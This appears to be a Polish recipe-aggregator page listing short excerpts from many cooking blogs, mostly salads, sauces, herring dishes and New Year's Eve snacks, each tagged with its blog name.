zgodnie z prawami rynku dania w restauracjach kosztują tyle ile klient jest skłonny za nie zapłacić :) Rajma to dość popularne danie składające się z ryżu i czerwonej fasoli w sosie z dodatkiem orientalnych przypraw. W zasadzie kupując ryż i fasolę w puszce mamy prawie wszystko. Brakuje nam tylko przypraw. Najtańsza i najbardziej popularna będzie curry. Składniki: - biały ryż - czerwona fasola

Kryzysowa Książka Kucharska
Boczniaki cytrynowe w sosie chrzanowym 131

Postanowiłem wykorzystać moje pierwsze plony.  Składniki: - boczniaki - mąka - chrzan tarty Wykonanie: Boczniaki kroimy w paski i podsmażamy. Osobno podsmażamy trochę mąki tworząc zasmażkę. Dolewamy wody tworząc gęsty sos. Dodajemy chrzan, boczniaki i chwilę gotujemy

Kryzysowa Książka Kucharska
Riz en Couronne i Concombres au Beurre Julii Child 192

płaską łyżeczkę soli. Polewamy tym obrane i pokrojone na wzdłuż ogórki i zapiekamy w piekarniku w temperaturze 190 stopni aż będą rumiane. Stwierdziłem, że do tego będzie pasował sos musztardowy więc zmieszałem pół szklanki wody, łyżkę przyprawy w płynie i 2 łyżki musztardy, czym później polałem danie. Bon appétit

Kryzysowa Książka Kucharska
Mujaddara 188

Ryż gotujemy według przepisu, który zazwyczaj jest na opakowaniu. Soczewicę gotujemy. Jeśli nie jesteśmy przyzwyczajeni do sypkich nasion to możemy dodać trochę wody i mąki, wtedy zrobi się nam sos. Możemy wymieszać ją razem z ryżem lub podać osobno. Na wierzch dajemy mocno przysmażoną cebulę, pokrojoną wcześniej w półplasterki

Kryzysowa Książka Kucharska
Mamałyga czoskowa czyli co ma wspólnego Dracula z Greyem 132

Lety przypomina, a jeszcze i tę z fontanny młodości, co jej na Florydzie konkwistadorzy szukali, a którą znaleźli jak. już dla nich za późno było ." Do tego polane krwistym sosem :) Składniki: - szklanka mąki kukurydzianej - 2 szklanki wody - łyżka margaryny - 4 ząbki czosnku - ketchup Wykonanie: Wodę gotujemy i rozpuszczamy w niej łyżkę margaryny. Czosnek obieramy, wyciskamy/drobno kroimy i wrzucamy do gotującej

Kryzysowa Książka Kucharska
Koshari 198

soczewicę gotujemy według przepisu na opakowaniu. Kiedy wszystkie te składniki będą gotowe to mieszamy je razem. Cebulę drobno kroimy i podsmażamy. Dodajemy koncentrat i chwilę dusimy. Tak przygotowanym sosem polewamy położone na talerz ryż, soczewicę i makaron

Kryzysowa Książka Kucharska
Pizza marinara 204

wodzie i od razu dodajemy mąkę. Ugniatamy regulując ilość mąki lub wody, aby uzyskać zwarte miękkie ciasto, które nie będzie się kleiło do rąk. Robimy cienki placek, smarujemy sosem pomidorowym i sypiemy plasterkami czosnku. Wkładamy do nagrzanego do 200 stopni piekarnika na jakieś 10 minut

Kryzysowa Książka Kucharska
Co jedli powstańcy warszawscy - makaron z koncentratem 194

jedna z uczestniczek przedstawia tą sytuację. Mieliśmy kucharza, Jasia, który miał pseudonim „Kundys”. Żeby urozmaicić nam menu, gotował więc na zmianę: albo zupę pomidorową z makaronem, albo makaron z sosem pomidorowym

Kryzysowa Książka Kucharska
Cannelloni ajiaco 218

lepiej robiło ;) ) mieszamy z wodą w celu uzyskania lejącego się ciasta. Smażymy cienkie naleśniki. Żółtlicę dusimy, doprawiamy i kładziemy na naleśniki. Zawijamy w rulony. Możemy lekko zapiec z jakimś sosem

Kryzysowa Książka Kucharska
Kryzysowa wigilia 196

jednolite ciasto, które nie będzie lepiło się do rąk. W razie potrzeby dodajemy mąki lub wody. Formujemy OKRĄGŁY placek. Do koncentratu dodajemy trochę wody oraz oregano i tak przygotowanym sosem smarujemy spód pizzy. Cebulę kroimy w plasterki i układamy na spodzie. Całość wkładamy do nagrzanego do 200 stopni piekarnika i wyjmujemy w momencie, w którym brzegi będą rumiane. Czyli

Kryzysowa Książka Kucharska
Złocisty kurczak faszerowany 319

stopni. Pieczemy 30 minut pod przykryciem. Po tym czasie zdejmujemy pokrywę i pieczemy kolejne 30 minut do zrumienienia skórki. 6. Z powstałego, po pieczeniu mięsa, wywaru możemy przygotować sos. Przelewamy go do garnka, zagęszczamy mąką i zaprawiamy śmietaną. Na koniec dodajemy posiekany świeży koperek. Smacznego!   Kategoria: Dania główne , Przepisy Tagged: Boże Narodzenie , kurczak , Wielkanoc , wieprzowina , świąteczne danie

Fiołkowa Kuchnia Małgorzaty
schab ze śliwką 157

śliwki to jest to.. 🙂 Składniki: 1.2 kg schabu bez kości 15-20 dag suszonych śliwek bez pestek /ja użyłam kalifornijskich/ marynata: 4 ząbki czosnku 1 łyżka ciemnego sosu sojowego

Ugotujmy Coś
SAŁATKA Z TUŃCZYKIEM 597

Składniki: 5 jajek 2 puszki tuńczyka w sosie własnym 150g sera żółtego 1 puszka fasoli czerwonej konserwowej 1 puszka kukurydzy konserwowej 1 mały por MAJONEZ KIELECKI firmy WSP "SPOŁEM"   Sposób przygotowania: Jajka ugotować na twardo, obrać i oddzielić żółtka od białek. Tuńczyka, fasolkę i kukurydzę odsączyć z zalewy. Ser zetrzeć na grubych oczkach tarki. Pora pokroić w pół talarki

Prosto i Smacznie z Anetą
Rolada serowa z kurczakiem i czerwoną papryką 297

sole, wi ę c z pewnością zachwyci naszych gości. Nie wymaga dużego nakładu pracy, a efekt jest super. Doskonałym  dodatkiem do rolady jest sos czosnkowy. Zapraszam 😉 Składniki: ser żółty starty 3 szklanki, jajka 4 szt, pierś kurczaka 2 szt, papryka czerwona pół szt, papryka słodka mielona 1,5 łyżeczki, zioła prowansalskie

kulinarne odsłony pati
Sałatka z selera konserwowego i szynki 914

małą kostkę. Część papryki odkładamy. Kukurydzę odsączamy na sicie. Wszystkie składniki wrzucamy do miski ze szczypiorkiem i natką pietruszki, mieszamy. Majonez mieszamy z jogurtem, doprawiamy do smaku pieprzem. Polewamy sosem sałatkę i mieszamy. Schładzamy sałatkę w lodówce, a najlepiej przez całą noc, przed podaniem posypujemy szczypiorkiem i posiekaną papryką. Smacznego The post Sałatka z selera konserwowego i szynki appeared first

Damsko-męskie spojrzenie na kuchnię
Podsumowanie roku 2016 339

Deser z truskawkami i białą czekoladą 4. Pomidorowa sałatka z ogórków 5. Ogórki z chili i miodem 6. Surówka z młodej kapusty 7. Waniliowa kawa mrożona 8. Domowy sos pomidorowy 9. Sernik gotowany z brzoskwiniami i galaretką 10. Ciasto jogurtowe z truskawkami 11. Trójkolorowy sernik na zimno z czekoladą i truskawkami 12. Ciasto z rabarbarem i jabłkami na oleju

My simple kitchen
Krokiety z kapustą i grzybami bez panierki 171

mieć konsystencje śmietany. Naleśniki smażymy na rozgrzanej patelni. Ja smażyłam bez dodatku tłuszczu.  Na gotowe naleśniki nakładamy farsz i zwijamy. Krokiety smażymy na rozgrzanym oleju. Podajemy z ulubionym sosem

kulinarne odsłony pati
Roladki drobiowe z kasztanami i "Pocztówki znad krawędzi" 224

roladki. Można zabezpieczyć je wykałaczkami, by roladki nie rozwijały się podczas smażenia. Roladki oprószyć z zewnątrz solą i pieprzem. Smażyć z różnych stron na rozgrzanym oleju. Roladki podawać polane sosem ze smażenia np. na surówce z jabłka i selera naciowego . W mijającym tygodniu w mediach głośno było o śmierci Carrie Fisher, a dzień później jej matki Debbie Reynolds, znanej m.in

Weekendy w domu i ogrodzie
Zawijane bułeczki "pizze" 205

pizzy. Bułeczki pieczemy w blasze do muffin, dzięki temu nie tracą formy i kształtu. Bułeczki "pizze" dobrze smakują także na zimno. Możemy serwować je solo lub z sosami lub smakową oliwą. Przygotowanie bułeczek wbrew pozorom nie zajmuje dużo czasu, wystarczy dobra organizacja pracy, a napracujemy się niewiele. Ciasto drożdżowe na bułeczki można przygotować już rano i włożyć je do lodówki

kolorowotorcikowo
Sałatka Gyros 403

cienka warstwa. Na nią układać pokrojoną w kostkę czerwoną cebulę, na nią pokrojone w kostkę ogórki, a następnie ułożyć odsączoną kukurydzę. Majonez wymieszać z jogurtem naturalnym, polać tak przygotowanym sosem sałatkę. Na końcu na wierzch posypać poszatkowaną kapustą pekińską.  Tak przygotowaną sałatkę wstawić do lodówki, aby smaki się przegryzły. Możecie ją podawać warstwową lub przed samym podaniem wymieszać. Pozostawiam

Fabryka pomysłów
Sylwestrowe krakersy serowe z makiem + propozycje przekąsek 221

propozycji na słone przekąski i dania: Słone paluszki z cebulką i na ostro - przepis, na którym wzorowałam się, robiąc krakersy Kuleczki ziemniaczane Chlebek naan - prosty i łatwy, świetny do sosów, dipów czy gulaszy Bagietki z domowym masłem czosnkowym - wystarczy zrobić masło z taką ilością czosnku i przypraw, jaką lubisz, ponacinać dość gęsto bagietkę, nałożyć solidną ilość masła w nacięcia

Anioszek w kuchni
Sylwestrowa przekąska- nuggetsy z kurczaka 286

głębokiej patelni rozgrzać olej, smażyć nuggetsy na średnio rozgrzanym, głębokim tłuszczu, aż staną się złocistobrązowe. 7. Odsączyć na papierowym ręczniku. Nuggetsy można podawać jako przystawkę z różnymi dipami (sos tatarski, ketchup, musztarda), lub jako danie główne podawać z purée ziemniaczanym i warzywami. Smacznego

Aromatyczne Podróże
Najpopularniejsze przepisy w 2016 roku 247

Gordona Ramsaya Sałatka jajeczna z awokado Marchewki glazurowane w miodzie Gordona Ramsaya Łosoś zapiekany ze szpinakiem i mozzarellą Pieczone piersi kurczaka nadziewane mozzarellą i bazylią Makaron z kurczakiem w sosie teriyaki Chrupiące frytki z cukinii z piekarnika Pyszna sałatka jajeczna Krokiety z kurczakiem, serem i pieczarkami Pikantna zupa tajska z makaronem Szybkie kakaowo-kawowe ciastko z mikrofalówki (bez jajek) Ciasto

karmelowy
Sałatka z ravioli i wędzonym kurczakiem 316

serduszka. Mieszamy sałatkę, Oliwę mieszamy z musztardą polewamy i doprawiamy solą i pieprzem. Na wierzchu układamy serowe dekoracje. Makarony a ARC-POL Czaniec to najlepszy wybór do sałatek sosów i głównych dań.  ARC-POL – Makarony z serca i wiedzy Tradycja, pasja, technologia – Makarony ARC-POL. Wszystko zaczęło się od pasji podróżowania, bo zwiedzanie to nie tylko pejzaże i zabytki

Gotowanie jest łatwe
Podsumowanie roku 2016 - Najczęściej czytane posty 211

niż raz w tygodniu. Ponadto przepis ten ukazał się w listopadowym numerze dwumiesięcznika Harmonia. Polecamy! Przepis jest tutaj. Siódme miejsce należy do kotlecików mielonych przygotowywanych na parze z dodatkiem sosu pomidorowego. Dietetyczne, zdrowe i pyszne danie, idealne dla małych smakoszy. Przepis znajdziecie tutaj. Na szóstym miejscu wylądował generał kurczak. Fajny przepis na pieczonego kurczaka nadzianego na butelce piwa. Smacznie

Kolizje Smaków
rolada sardynkowa 228

Składniki - 3 jajka - 50 g mąki orkiszowej - 25 g skrobi kukurydzianej - 20 g oliwy z oliwek - 50 g pietruszki - 1 szczypta sody oczyszczonej - komórki Farsz - 1 pudełko sardynek w sosie pomidorowym ,lub kawałek łososia wędzonego - 170 g serka ricotta sok z 1 cytryny - Sól i pieprz do smaku Wykonanie Rozgrzać piekarnik do . 180 ° C . Oddzielić białka od żółtek. Ubić białka

w mojej kuchni
21 wytrawnych przystawek i przekąsek na Sylwestra 335

jarmużu Chorizo w cydrze Brukselka pieczona w bekonie Daktyle w bekonie nadziewane gorgonzolą Pasta słonecznikowa z suszonymi pomidorami Guacamole - meksykańska salsa Moutabbal - pasta z bakłażana Grillowany bakłażan z sosem czosnkowym Prażone migdały z papryką Smalec z wędzonego boczku Chrupiące polędwiczki kurczaka z pieczonymi ziemniakami Burrito z wołowiną, fasolą i papryką Chicken Pie - kurczak z warzywami zapiekany w cieście francuskim Rillettes

Codziennik Kuchenny
Restauracja CK Browar 150

owszem). Restauracja zlokalizowana jest na ul. Podwale w Krakowie. Zamówiliśmy (dość zgodnie): Barszcz czerwony z uszkami (z mięsem) Pieczeń z dzika po myśliwsku Grillowany filet z kurczaka z ananasem, sos słodko pikantny Wszystkie z zamówionych dań były przepyszne. Barszcz był bardzo dobrze przyprawiony, a uszka miękkie z dużą ilością farszu. Mięsa pełne aromatu, soczyste. Porcje w sam raz. Na zdjęciach

Karola gotuje
Chutney z dyni i rodzynek 173

Chutney to gęsty sos robiony z owoców oraz warzyw i... Artykuł Chutney z dyni i rodzynek pochodzi z serwisu CookMagazine

COOKMAGAZINE
Wegańskie buregery / Vegan Burgers 171

marchewka będzie miękka, około 10 minut, uważać, żeby nie przypalić marchewki! Fasolę odsączyć z zalewy, wypłukać i rozdrobnić widelcem. Do tak przygotowanej fasoli dodać drobno posiekaną kolendrę, łyżkę sosu sojowego i podsmażoną cebulę z marchewką. Doprawić ostrą papryką i pieprzem cayenne. Dodać płatki owsiane. Wymieszać wszystko razem i uformować burgery, ułożyć na blaszce i włożyć do zamrażalnika na 30 minut

Delusional Trine
Domowe przekąski (paluszki, chipsy, krakersy) 248

amonu, aromaty -  to wolę zamieszać ciasto i zrobić domowe ❤ Frykasy są fajnym dodatkiem do sałaty. Krakersy idealnie komponują się z dipem jogurtowo-czosnkowym. Chipsy z tortilli pasują do sosu pomidorowego. Wszystko jest przyjemnie chrupiące i smaczne. Przepis na domowe krakersy ze szpinakiem Składniki 200 g mąki 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki  soli himalajskiej 1 łyżka sezamu

lady-och-mistrzyni.blogspot.com
10 pysznych sylwestrowych przekąsek vol. 2 309

śledziem _______________________________ #2 Jajka faszerowane pastą z awokado _______________________________ #3 Kokosanki _______________________________ #4 Sałatka z jarmużem _______________________________ #5 Sałatka z mozzarellą _______________________________ #6 Sałatka z ryżem i czerwoną fasolą _______________________________ #7 Sałatka z szynką i sosem czosnkowym _______________________________ #8 Serowy chlebek ze szczypiorkiem _______________________________ #9 Pierś z kurczaka w cieście francuskim _______________________________ #10 Dip łososiowy

Kolejny blog o gotowaniu
Śledzie salsa 169

Czas na sylwestrowe przekąski czyli np śledziki w gorącym, latynoskim sosie salsa. Śledzie z dodatkiem ananasa, papryki w pomidorach to idealna propozycja dla każdego. Śledzie są szybkie, łatwe w wykonaniu i pyszne. Czytaj więcej

Bernika - moj kulinarny pamietnik
Grissini z szynką parmeńską i rukolą 307

niej rukolę i owijamy spiralnie wokół palucha grissini. Przekąska wygląda atrakcyjniej gdy listki rukoli będą wystawać na górze. Paluchy wkładamy do wysokiej szklanki lub słoika. Dodatkowo: Można przygotować sos jogurtowy do maczania paluchów (mały jogurt naturalny + wyciśnięty ząbek czosnku + szczypta soli), ale nie jest to konieczne. Post Grissini z szynką parmeńską i rukolą pochodzi z bloga Poezja smaku

Poezja smaku
Bruschetty na Sylwestra! Szybkie Menu Sylwestrowe 417

czemu masz siłę i ochotę na tańce do rana!                        Gotowe bruschetty i grzanki polałam aromatycznym i gęstym sosem na bazie octu balsamicznego z Modemy. Całość stworzyła przepyszne połączenie smaków. Kanapeczki zniknęły do ostatniego okruszka ;-))) Mam nadzieję, że ten prosty a jakże smaczny pomysł przypadnie Wam do gustu

SMYKWKUCHNI
Sałatka z wędzonym łososiem! menu sylwestrowe 195

cytryny - 1/2 łyżeczki musztardy o smaku curry - 1 łyżeczka miodu - sól - pieprz - 2 łyżki wody - zioła włoskie bądź świeża posiekana bazylia   w/w składniki miksujemy blenderem na gładki sos do sałatki.       Mam nadzieję, ze udało mi się Was troszeczkę zainspirować!   Życzę Wam  i sobie cudownej Nocy Sylwestrowej,  i lekkich pyszności na stole

SMYKWKUCHNI
Rozmarynowe placuszki z kaszy gryczanej 182

pyszne, choć umówmy się...urodą nie grzeszą ;P Jeżeli szukacie pomysłu na niecodzienną potrawę z kaszy gryczanej, to bardzo dobrze trafiliście! :D Możecie podawać je same lub z sosem pomidorowym albo innymi pysznymi dodatkami, jak mięso, gulasz czy pieczarki. Rozsmakujcie się w kaszy gryczanej i jej wspaniałych właściwościach ;) Rozmarynowe placuszki z kaszy gryczanej Potrzebujesz: 3/4 szklanki suchej kaszy gryczanej

Kuchnia w Słońcu Skąpana
Zapiekanka makaronowa w stylu włoskim. 219

połówki. Jajka, mleko i śmietanę roztrzep w misce wraz z przyprawami i startym na tarce serem. W naczyniu wymieszaj ugotowany makaron, cukinię, pomidorki i suszone pomidory. Całość zalej sosem śmietanowym. Wierzch możesz dodatkowo obsypać parmezanem. Wstaw do pieca na 35 do 40 minut temperatura 180 do 190 stopni C. Grzanie połowa czasu bez termoobiegu, druga z termoobiegiem. Gotową zapiekankę posyp

SMYKWKUCHNI
Zapiekanka warzywna z makaronem czosnkowym i gyrosem 338

cebula sól, pieprz, papryka Wykonanie : Makaron gotujemy al dente. Do śmietany dodajemy czosnek, sól według uznania i posiekany koperek. Na dno naczynia wysypujemy makaron i zalewamy go przyrządzonym sosem ze śmietany i mieszamy aby pokrył każdy makaron. Mięso podsmażamy na oliwie z dodatkiem przyprawy gyros i gotowe wykładamy na nasz makaron. Na dużej głębokiej patelni podsmażamy cebulę w piórka. Następnie

W Moim Magicznym Domu
Mini pizze na sylwestrowo 287

części i rozwałkuj na dwa placki grubości 0,5 cm.Wytnij okrągłe placuszki. W naczyniu wymieszaj pomidorowy przecier z wodą i oliwą. Dopraw solą, pieprzem i ziołami. Posmaruj placki pomidorowym sosem. Wszystkie pizze obłóż cebulę pokrojoną w cienkie plasterki. Część nadziej kebabem, resztę kiełbasą i krewetkami. Pizze z krewetkami posyp curry. Do mięsnych pizz dodaj pieczarki. Wszystkie pizze posyp utartym serem

codojedzenia
Czeskie knedle - pyzy 197

Niby bardzo podobne do naszych tradycyjnych pyz, ale jednak są lepsze - bardziej treściwe i przede wszystkim krojone są z wałka co sprawia, że znakomicie wchłaniają każdy sos, który wtapia się w ich "pory".  W czeskie knedle zaopatrywałam się w dużych marketach np. Auchan, ale przyznaje, że nie tak łatwo je kupić. W końcu

Jadło i czytadło
Pasztet z fasoli z suszonymi pomidorami w słoiczku 207

Masę przełożyć do keksówki jednorazowej wysmarowanej masłem i oprószonej bułką tartą. Piec w 180 st C przez ok 50 min (góra-dół).  Ja podałam z listkami szpinaku w sosie vinegrette i odrobiną kremu balsamicznego.. Smacznego

Gaździnka warzy
Mini roladki szpinakowe z lasagne 460

Wpis powstał we współpracy z marką Lubella.   Składniki /ok. 14-16 roladek/: 4 płaty makaronu lasagne Lubella 1 serek kanapkowy naturalny 200 g mrożonych liści szpinaku 150 ml sosu pomidorowego 1/2 kulki Czytaj dalej... Artykuł Mini roladki szpinakowe z lasagne pochodzi z serwisu Pasja Smaku

Pasja Smaku
Przekąski i przystawki na Sylwestra cz. 2 1894

czego się poszukuje 😊 Smarowidło do pieczywa http://kuchniawczekoladzie.blogspot.com/2016/01/smarowido-do-pieczywa.html    Tortilla z kurczakiem i sałatką serowo pomidorową  http://kuchniawczekoladzie.blogspot.com/2016/02/tortilla-z-kurczakiem-i-saatka-serowo.html    Sałatka z kolorowym tortellini i sosem majonezowo-musztardowym   http://kuchniawczekoladzie.blogspot.com/2016/02/saatka-z-kolorowym-tortellini-i-sosem.html Sałatka z kolorowy ryżem  http://kuchniawczekoladzie.blogspot.com/2016/02/saatka-z-kolorowym-ryzem.html Wegetariańska tortilla   http://kuchniawczekoladzie.blogspot.com/2016/03/wegetarianska-tortilla.html  Pieczona ciecierzyca http://kuchniawczekoladzie.blogspot.com/2016/08/pieczona-ciecierzyca.html Sałatka jarzynowa

Kuchnia w czekoladzie
Kurczak po staropolsku nadziewany wątróbką , orzechami oraz śliwkami. 193

Można przygotować kompletny obiad i dodatkowo z  kurczakiem upiec ziemniaki i inne warzywa. Piec około 2 godz w temp 190- 200C. Co jakiś czas podlewając go powstałym sosem.  Idealny na świąteczny obiad. Smacznego

Radość kipiąca uśmiechem.
Zapiekanka makaronowa z szynką 166

pokrojoną w kostkę, marchew i posiekaną bazylię. Gotujemy pod przykryciem przez 5 min. Do smaku doprawiamy solą i pieprzem. Szynkę rwiemy na mniejsze kawałki, układamy na makaronie, zalewamy całość sosem, posypujemy startym serem. Zapiekamy 25 min w temperaturze 180°C. Przed podaniem posypujemy posiekanym szczypiorkiem. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Śledź w sosie musztardowym 195

odsączyć i pokroić w 2 cm kawałki. Cebule oraz jabłka obrać i pokroić w kostkę , dodać do pokrojonych śledzi. Musztardę wymieszać ze śmietaną, dodać sól i pieprz i wymieszać sos z sałatką śledziową, wymieszać

Camilla w kuchni
Fuczki – placuszki z kiszoną kapustą 185

Fuczki to nieskomplikowane placki z ciasta naleśnikowego i kiszonej kapusty pochodzące z Bieszczad. Podałam je na ciepło z sosem czosnkowym. Składniki: 1 jajko szklanka mleka, 1 i 1/3 szklanki mąki pszennej ok 200 g kapusty kiszonej sól, pieprz,majeranek Przygotowanie Jajko roztrzepujemy z mlekiem, dodajemy przyprawy i mąkę. Ciasto powinno być dość gęste. Kapustę płuczemy jeśli jest zbyt kwaśna, odciskamy

e-PrzepisyKulinarne
Podsumowanie roku 2016 – Instagram 182

badzo smaczny tort czekoladowo-malinowy przyrządzony specjalnie na urodziny dla teścia. Przepisu niestety na blogu nie znajdziecie. Kiedyś na pewno naprawimy ten błąd:) Zdjęcie parówek z żółtym serem i sosem pomidorwym również podbiło Wasze serca :) Weekendowe wypieki na następnym miejscu. Na zdjęciu jest biszkopt migdałowy z nadzieniem serowym i truskawkami ( przepis tutaj ) oraz bananowe dietetyczny brownie ( przepis tutaj ). Ratatuj

Kolizje Smaków
Sałatka Jarzynowa i “Szarlotka Lenina” 199

drobną kostkę. Zostawiamy do ostudzenia. Cebulę, ogórki i paprykę kroimy w kosteczkę. Mieszamy wszystkie warzywa w dużej misce. W miseczce mieszamy majonez z jogurtem, pieprze i solą. Dodajemy sos do sałatki. Tymczasem Anya Von Bremzen opowiada w swojej książce historię sałatki warzywnej. W Rosji nazywa się z francuska: Olivier. Pierwszą wersję stworzył bowiem Lucien Olivier w latach ‘60 XIX wieku

Ugotowane pozamiatane
Polędwiczki wieprzowe w sosie porowym 159

Błyskawiczne danie a jakie smaczne. Przygotujcie je koniecznie teraz gdy w warzywniakach dostaniecie ładne, dojrzałe pory. Polędwiczki krótko obsmażamy, przygotowujemy sos na bazie porów i sera pleśniowego, zagotowujemy z mięsem - i już. Ten przepis przyda się gdy spodziewacie się większej ilości gości - będzie szybko, smacznie i efektownie a wszystko można przygotować z wyprzedzeniem

Milion Smaków
Russian Bloody Mary/Rosyjska Krwawa Marysia - shot z sokiem pomidorowym 179

wszelką imprezę oraz nadchodzący Sylwester! Charakteryzuje się ciekawą nazwą, smakiem i prostotą w przygotowaniu. Spróbujecie? 1 część wódki 1 część soku pomidorowego (polecam Victoria Cymes ) 2-3 krople sosu tabasco Do mniej więcej połowy kieliszka należy wlać wódkę, a następnie delikatnie i powoli - sok pomidorowy.    (Sok najlepiej wlewać po wewnętrznej stronie łyżki, dzięki czemu w większości osiądzie

Di gotuje
Sałatka na każdą okazję 697

moja dzisiejsza sałatka. Może i Was zachęcę do zrobienia takiej sałatki na teraz, na... każdą okazję Składniki: 250 g ryżu (waga po ugotowaniu) 130 g tuńczyka  w sosie własnym (odsączonego z zalewy) mała puszka kukurydzy 3 ogórki z zalewy musztardowej 1 jajko ugotowane na twardo pieprz świeżo zmielony łyżeczka suszonej bazylii 2 łyżki oliwy Wykonanie: Mo miseczki przekładałam

Kuchnia u Krysi
Sałatka mimoza ( warstwowa z tuńczykiem) 252

świat, a także w każdy inny nieświąteczny dzień. Składniki: 6 jajek 100 g żółtego sera w kostce majonez 100 g masła 1 duża cebula 2 puszki tuńczyka w sosie własnym sól pieprz Przygotowanie: Jajka gotujemy na twardo. Przecinamy na pół i oddzielamy żółtka od białek. Białka ścieramy na tarce, żółtka rozdrabniamy widelcem. Ser żółty ścieramy na tarce na średnich oczkach

Taste Therapy
PIECZONY KURCZAK Z JABŁKAMI I POMARAŃCZAMI 184

wnętrza kurczaka wkładamy kawałki jabłek i pomarańczy. Spinamy wykałaczkami. Układamy w naczyniu żaroodpornym, podlewamy sokiem z pomarańczy, pieczemy pod przykryciem godzinę, po tym czasie odkrywamy, polewamy  wytopionym sosem z sokiem, obkładamy plastrami drugiej pomarańczy pokrojonej razem ze skórką, zapiekamy do zrumienienia skórki, jeszcze ok 15- 20 minut

Z Majeczką w kuchni
Śledzie w sosie koperkowym 253

śledzie, których na naszym stole wigilijnym zabraknąć nie może. Co roku staram się by oprócz tradycyjnych czyli w śmietanie i oleju były jedne nowe. Tym razem zrobiłam w sosie z koperkiem. Można podać je pokrojone, a można w formie zwiniętych płatów. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Przepis na pasztet 286

rozpadać. Z czym podawać pasztet ? Pasztet możemy jeść samodzielnie na zimno jak i na ciepło. Doskonale smakuje z różnymi dodatkami jak musztardy, chrzan, ćwikła czy wszelkiego rodzaju pikle oraz sosy. Przepisów na pasztet jest masa. Ja zazwyczaj robię podobny do tego, z przepisu poniżej. Oczywiście, czasem są inne proporcje mięsa, zależy jakie ładne mięsko uda mi się kupić. Ja mielę

Mieszam w Garnku
Wegański majonez light 215

Wegański majonez light Gdy jeszcze byłem wszystkożercą, bardzo często na moim stole witał majonez. Do kanapek, sałatek, parówek… do wszystkiego. Po przejściu na weganizm trochę

Blendman
Polędwiczka w sosie z mascarpone 203

Mięso pokroić w plastry, delikatnie rozbić. Obsmażyć z obu stron na łyżce tłuszczu. Odłożyć, na patelnię wrzucić piórka cebuli oraz paprykę pokrojoną w kostkę. Poddusić całość razem z polędwiczką. Sos zagęścić mascarpone oraz mąką wymieszaną z wodą. Zagotować. Przyprawić do smaku. Podawać z ziemniakami, ryżem albo świeżym chlebem

Magiczne Życie Marty
Ciasto miodowe z masą budyniową czyli miodownik 331

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Warsztaty świąteczne z Agatą Wojdą i degustacja win niemieckich 213

krówce cały tłuszcz, wlewamy śmietanę. Sugeruję na ten czas zdjąć garnek z ognia. Dorzucamy też sól. 8 – 10 minut tężenia na małym ogniu nam wystarczy. Łyżkę lub dwie gorącego sosu wylewamy obficie na bardzo ciepły far na talerzu. Topinambur 6 sztuk topinamburu Olej do głębokiego smażenia Cynamon Cukier puder Sól Dokładnie szorujemy topinambur pod bieżącą wodą, tniemy go na przeźroczyste

karmelowy
Makaron ze szpinakiem i pieczarkami 203

przedświątecznych przygotowań może nam zabraknąć czasu na ciepły, smaczny posiłek, więc dziś zaproponuję szybki i pyszny pomysł na obiad. Makaron ze szpinakiem, pieczarkami i piersią z kurczaka w śmietanowym sosie, mówię Wam palce lizać, a na dodatek robi się go w kilka chwil :) Składniki na 4 porcje: 400 g makaronu wstążki ok. 500 g piersi z kurczaka 500 g pieczarek

Simply Food
szybkowar-udka z gęsi w sosie własnym... 228

pary gotowac na mniejszym ogniu z40-45 minut, otworzyć szybkowar jak sam spuści ciśnienie udka wyjąć na talerz, do wywaru wsypać mąkę i mikserem wszystko zmiksować, zagotować do zagęszczenia sosu, podawać z ziemniakami np. czerwoną kapustą z mojego przepisu "zobacz TUTAJ" - smaczne, aromatyczne danie z gęsią..............SMACZNEGO

W Mojej Kuchni Lubię
SPOSOBY NA WIGILIJNEGO ŚLEDZIA 229

POMARAŃCZAMI TATAR ZE ŚLEDZIA ŚLEDZIE POD PIERZYNKĄ I ŚLEDZIE Z SUSZONYMI POMIDORAMI OCTOWE ROLMOPSY ŚLEDZIE W ŚMIETANIE SAŁATKA ŚLEDZIOWA Z BURAKAMI W JABŁKU ŚLEDZIE CYTRYNOWE WINNE ŚLEDZIE W SOSIE POMIDOROWYM Z RODZYNKAMI ŚLEDZIE PO JAPOŃSKU W ofercie firmy znajdziemy też wiele gotowych dań ze śledziem w roli głownej, które tylko wystarczy przełożyć na talerz. Są to m.in: *Beczka śledzia - Śledzie

Z Majeczką w kuchni
Co potrafi robot kuchenny Kogersen Mycook 307

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Zioła toskańskie - mieszanka przypraw, Spaghetti á la Toscana 290

słońcu pomidorów, ziół i czosnku. Można używać ją jako pastę (po wymieszaniu z wodą i olejem) lub dodawać do potraw w postaci suchej. Idealnie pasuje do bruschetty, przystawek, sosów, sałatek, mięs i ryb. Tuscany spice blend, Spaghetti á la Toscana I use this blend to make a very tasty and super quick spaghetti a’la toscana -> dinner ready

Qlinarnie i Qlinarnie
Szuba czyli świąteczna sałatka śledziowa 7542

posyp połową posiekanej cebuli. Następnie ułóż kolejno warstwę ziemniaków, marchwi i buraków. Na burakach rozsmaruj połowę wymieszanego jogurtu. Powtórzyć czynność w tej samej kolejności: śledzie, cebula, ziemniaki, marchew, buraki, sos jogurtowy. Wstaw szubę do lodówki na kilka godzin (najlepiej na całą noc). Smacznego

Kuchnia bezglutenowa
Kurczak z "odświętnym" farszem 188

przyprawą do kurczaka.Pieczemy w nagrzanym do 170st C piekarniku przez 2 godziny. 10 minut przed końcem pieczenia naczynie odkrywamy i pozwalamy naszemu kurczakowi złociście się przyrumienić. Podajemy polanego sosem własnym np. z ulubionymi surówkami i ziemniaczkami

Kuchnia w czekoladzie
Sałatka gyros 312

Składniki: 25 dkg ulubionego makaronu 40 dkg fileta z kurczaka 1 puszka kukurydzy 1 słoik marynowanej papryki 3 ogórki kiszone sos gyros Fanex sól, pieprz słodka papryka, zioła prowansalskie olej … Czytaj dalej Sałatka gyros

czarrna od kuchni
Top 10 świątecznych ciast 22290

